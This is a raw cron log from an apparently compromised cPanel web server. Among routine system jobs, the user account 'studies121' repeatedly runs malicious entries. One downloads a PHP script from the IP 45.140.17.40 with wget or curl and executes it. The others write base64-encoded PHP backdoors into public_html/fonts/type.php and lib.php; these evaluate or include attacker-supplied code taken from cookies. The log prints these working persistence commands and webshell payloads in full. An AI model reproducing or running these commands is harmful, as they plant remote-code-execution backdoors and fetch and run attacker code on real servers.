Sep 11 02:08:01 ip-184-168-122-23 CROND[12975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:08:01 ip-184-168-122-23 CROND[12977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:09:01 ip-184-168-122-23 CROND[13070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:09:01 ip-184-168-122-23 CROND[13073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:09:01 ip-184-168-122-23 CROND[13072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:09:01 ip-184-168-122-23 CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 02:09:01 ip-184-168-122-23 CROND[13077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:10:01 ip-184-168-122-23 CROND[13167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:10:01 ip-184-168-122-23 CROND[13170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:10:01 ip-184-168-122-23 CROND[13171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:10:01 ip-184-168-122-23 CROND[13173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:10:01 ip-184-168-122-23 CROND[13175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:10:01 ip-184-168-122-23 CROND[13176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:10:01 ip-184-168-122-23 CROND[13180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:10:01 ip-184-168-122-23 CROND[13177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:11:01 ip-184-168-122-23 CROND[13281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:11:01 ip-184-168-122-23 CROND[13282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:11:01 ip-184-168-122-23 CROND[13284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:11:01 ip-184-168-122-23 CROND[13283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:12:02 ip-184-168-122-23 CROND[13369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:12:02 ip-184-168-122-23 CROND[13370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:12:02 ip-184-168-122-23 CROND[13374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:12:02 ip-184-168-122-23 CROND[13375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:12:02 ip-184-168-122-23 CROND[13376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:13:02 ip-184-168-122-23 CROND[13458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:13:02 ip-184-168-122-23 CROND[13461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:13:02 ip-184-168-122-23 CROND[13459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:13:02 ip-184-168-122-23 CROND[13460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:14:01 ip-184-168-122-23 CROND[13626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:14:01 ip-184-168-122-23 CROND[13627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:14:01 ip-184-168-122-23 CROND[13628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:14:01 ip-184-168-122-23 CROND[13629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:14:01 ip-184-168-122-23 CROND[13630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:15:01 ip-184-168-122-23 CROND[13745]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:15:01 ip-184-168-122-23 CROND[13746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:15:01 ip-184-168-122-23 CROND[13751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:15:01 ip-184-168-122-23 CROND[13749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:15:01 ip-184-168-122-23 CROND[13750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:15:01 ip-184-168-122-23 CROND[13753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:15:01 ip-184-168-122-23 CROND[13752]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 02:16:01 ip-184-168-122-23 CROND[13863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:16:01 ip-184-168-122-23 CROND[13865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:16:01 ip-184-168-122-23 CROND[13866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:16:01 ip-184-168-122-23 CROND[13867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:16:01 ip-184-168-122-23 CROND[13869]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:16:01 ip-184-168-122-23 CROND[13868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:17:01 ip-184-168-122-23 CROND[13961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:17:01 ip-184-168-122-23 CROND[13963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:17:01 ip-184-168-122-23 CROND[13964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:17:01 ip-184-168-122-23 CROND[13965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:18:01 ip-184-168-122-23 CROND[14055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:18:01 ip-184-168-122-23 CROND[14056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:18:01 ip-184-168-122-23 CROND[14058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:18:01 ip-184-168-122-23 CROND[14059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:18:01 ip-184-168-122-23 CROND[14060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:19:01 ip-184-168-122-23 CROND[14146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 02:19:01 ip-184-168-122-23 CROND[14145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:19:01 ip-184-168-122-23 CROND[14144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:19:01 ip-184-168-122-23 CROND[14143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:20:01 ip-184-168-122-23 CROND[14345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:20:01 ip-184-168-122-23 CROND[14348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 02:20:01 ip-184-168-122-23 CROND[14349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:20:01 ip-184-168-122-23 CROND[14352]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:20:01 ip-184-168-122-23 CROND[14353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 02:20:01 ip-184-168-122-23 CROND[14356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:20:01 ip-184-168-122-23 CROND[14354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
